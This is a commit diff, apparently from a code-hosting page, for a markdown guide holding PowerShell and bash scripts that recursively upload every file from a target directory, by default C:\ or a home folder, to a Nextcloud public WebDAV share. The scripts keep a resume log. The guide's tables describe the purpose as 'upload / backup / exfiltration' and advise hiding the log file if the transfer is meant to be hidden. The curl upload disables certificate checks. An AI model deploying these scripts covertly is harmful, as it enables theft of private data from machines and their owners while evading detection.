Update Scripts/Powershell/Nextcloud/Upload Data to Nextcloud Share.md
This commit is contained in:
@ -14,52 +14,52 @@
|
||||
| `SECONDARY_DIR` | `C:\` | This is the secondary target, it's less important but nice-to-have with the upload / backup / exfiltration once the primary copy is completed. The target can be a directory or a single file. |
|
||||
| `LOGFILE` | `C:\Windows\Temp\nc_pull.log` | This file is how the script has "persistence". In case the computer is shut down, rebooted, etc, when it comes back online and the script is re-ran against it, it reads this file to pick up where it last was, and attempts to resume from that point. If this transfer is meant to be hidden, put this file somewhere someone is not likely to find it easily. |
|
||||
|
||||
``` powershell
|
||||
# --------------------------
|
||||
# Function for File Upload Logic
|
||||
# --------------------------
|
||||
Function Upload-Files ($targetDir) {
|
||||
Get-ChildItem -Path $targetDir -Recurse -File -Force -ErrorAction SilentlyContinue | ForEach-Object {
|
||||
try {
|
||||
# --------------------------
|
||||
# Check Ignore List
|
||||
# --------------------------
|
||||
$ignore = $false # Initialize variable to check if current folder should be ignored
|
||||
foreach ($item in $IGNORE_LIST) {
|
||||
if ($_.Directory -match [regex]::Escape($item)) {
|
||||
$ignore = $true
|
||||
break
|
||||
}
|
||||
``` powershell
|
||||
# --------------------------
|
||||
# Function for File Upload Logic
|
||||
# --------------------------
|
||||
Function Upload-Files ($targetDir) {
|
||||
Get-ChildItem -Path $targetDir -Recurse -File -Force -ErrorAction SilentlyContinue | ForEach-Object {
|
||||
try {
|
||||
# --------------------------
|
||||
# Check Ignore List
|
||||
# --------------------------
|
||||
$ignore = $false # Initialize variable to check if current folder should be ignored
|
||||
foreach ($item in $IGNORE_LIST) {
|
||||
if ($_.Directory -match [regex]::Escape($item)) {
|
||||
$ignore = $true
|
||||
break
|
||||
}
|
||||
if ($ignore) {
|
||||
Write-Host "Ignoring file $($_.FullName) due to directory match in ignore list."
|
||||
return
|
||||
}
|
||||
|
||||
# --------------------------
|
||||
# Upload File Process
|
||||
# --------------------------
|
||||
$filename = $_.Name # Extract just the filename
|
||||
|
||||
# Check if this file has been uploaded before by searching in the log file
|
||||
if ((Get-Content $LOGFILE) -notcontains $_.FullName) {
|
||||
|
||||
Write-Host "Uploading $($_.FullName) ..."
|
||||
|
||||
# Upload the file
|
||||
$response = Invoke-RestMethod -Uri ($URL + $filename) -Method Put -InFile $_.FullName -Headers @{'X-Requested-With' = 'XMLHttpRequest'} -Credential $credentials
|
||||
|
||||
# Record this file in the log since it was successfully uploaded
|
||||
Add-Content -Path $LOGFILE -Value $_.FullName
|
||||
|
||||
} else {
|
||||
Write-Host "Skipping previously uploaded file $($_.FullName)"
|
||||
}
|
||||
} catch {
|
||||
Write-Host "Error encountered while processing $($_.FullName): $_.Exception.Message"
|
||||
}
|
||||
if ($ignore) {
|
||||
Write-Host "Ignoring file $($_.FullName) due to directory match in ignore list."
|
||||
return
|
||||
}
|
||||
|
||||
# --------------------------
|
||||
# Upload File Process
|
||||
# --------------------------
|
||||
$filename = $_.Name # Extract just the filename
|
||||
|
||||
# Check if this file has been uploaded before by searching in the log file
|
||||
if ((Get-Content $LOGFILE) -notcontains $_.FullName) {
|
||||
|
||||
Write-Host "Uploading $($_.FullName) ..."
|
||||
|
||||
# Upload the file
|
||||
$response = Invoke-RestMethod -Uri ($URL + $filename) -Method Put -InFile $_.FullName -Headers @{'X-Requested-With' = 'XMLHttpRequest'} -Credential $credentials
|
||||
|
||||
# Record this file in the log since it was successfully uploaded
|
||||
Add-Content -Path $LOGFILE -Value $_.FullName
|
||||
|
||||
} else {
|
||||
Write-Host "Skipping previously uploaded file $($_.FullName)"
|
||||
}
|
||||
} catch {
|
||||
Write-Host "Error encountered while processing $($_.FullName): $_.Exception.Message"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# --------------------------
|
||||
# Initialize Environment Variables
|
||||
@ -101,47 +101,47 @@
|
||||
| `DATA_TO_COPY` | `/home/bunny/example` | This directory target is the primary focus of the upload / backup / exfiltration. The script will iterate through this target first before it moves onto the secondary target. The target can be a directory or a single file. This will act as the main priority of the transfer. |
|
||||
| `LOGFILE` | `/tmp/uploaded_files.log` | This file is how the script has "persistence". In case the computer is shut down, rebooted, etc, when it comes back online and the script is re-ran against it, it reads this file to pick up where it last was, and attempts to resume from that point. If this transfer is meant to be hidden, put this file somewhere someone is not likely to find it easily. |
|
||||
|
||||
``` sh
|
||||
#!/bin/bash
|
||||
``` sh
|
||||
#!/bin/bash
|
||||
|
||||
# Directory to search
|
||||
DIR=$DATA_TO_COPY
|
||||
# Directory to search
|
||||
DIR=$DATA_TO_COPY
|
||||
|
||||
# URL for the upload
|
||||
URL="$NEXTCLOUD_SERVER_URL/public.php/webdav/"
|
||||
# URL for the upload
|
||||
URL="$NEXTCLOUD_SERVER_URL/public.php/webdav/"
|
||||
|
||||
# Check if log file exists. If not, create one.
|
||||
if [ ! -f "$LOGFILE" ]; then
|
||||
touch "$LOGFILE"
|
||||
# Check if log file exists. If not, create one.
|
||||
if [ ! -f "$LOGFILE" ]; then
|
||||
touch "$LOGFILE"
|
||||
fi
|
||||
|
||||
# Iterate over each file in the directory and its subdirectories
|
||||
find "$DIR" -type f -print0 | while IFS= read -r -d '' file; do
|
||||
# Extract just the filename
|
||||
filename=$(basename "$file")
|
||||
|
||||
# Check if this file has been uploaded before
|
||||
if ! grep -q "$file" "$LOGFILE"; then
|
||||
echo "Uploading $file ..."
|
||||
|
||||
# Upload the file
|
||||
response=$(curl -k -s -T "$file" -u "$NEXTCLOUD_SHARE:$NEXTCLOUD_SHARE_PASSWORD" -H 'X-Requested-With: XMLHttpRequest' "$URL$filename")
|
||||
|
||||
# Get the HTTP status code
|
||||
status_code=$(curl -s -o /dev/null -w ''%{http_code}'' "$URL$filename")
|
||||
|
||||
# # Print the HTTP status code
|
||||
# echo "HTTP status code: $status_code"
|
||||
|
||||
# # Check the HTTP status code
|
||||
# if [[ "$status_code" = "200" ]]; then
|
||||
# # If upload was successful, record this file in the log
|
||||
echo "$file" >> "$LOGFILE"
|
||||
# else
|
||||
# echo "Failed to upload $file"
|
||||
# fi
|
||||
else
|
||||
echo "Skipping previously uploaded file $file"
|
||||
fi
|
||||
|
||||
# Iterate over each file in the directory and its subdirectories
|
||||
find "$DIR" -type f -print0 | while IFS= read -r -d '' file; do
|
||||
# Extract just the filename
|
||||
filename=$(basename "$file")
|
||||
|
||||
# Check if this file has been uploaded before
|
||||
if ! grep -q "$file" "$LOGFILE"; then
|
||||
echo "Uploading $file ..."
|
||||
|
||||
# Upload the file
|
||||
response=$(curl -k -s -T "$file" -u "$NEXTCLOUD_SHARE:$NEXTCLOUD_SHARE_PASSWORD" -H 'X-Requested-With: XMLHttpRequest' "$URL$filename")
|
||||
|
||||
# Get the HTTP status code
|
||||
status_code=$(curl -s -o /dev/null -w ''%{http_code}'' "$URL$filename")
|
||||
|
||||
# # Print the HTTP status code
|
||||
# echo "HTTP status code: $status_code"
|
||||
|
||||
# # Check the HTTP status code
|
||||
# if [[ "$status_code" = "200" ]]; then
|
||||
# # If upload was successful, record this file in the log
|
||||
echo "$file" >> "$LOGFILE"
|
||||
# else
|
||||
# echo "Failed to upload $file"
|
||||
# fi
|
||||
else
|
||||
echo "Skipping previously uploaded file $file"
|
||||
fi
|
||||
done
|
||||
```
|
||||
done
|
||||
```
|
Reference in New Issue
Block a user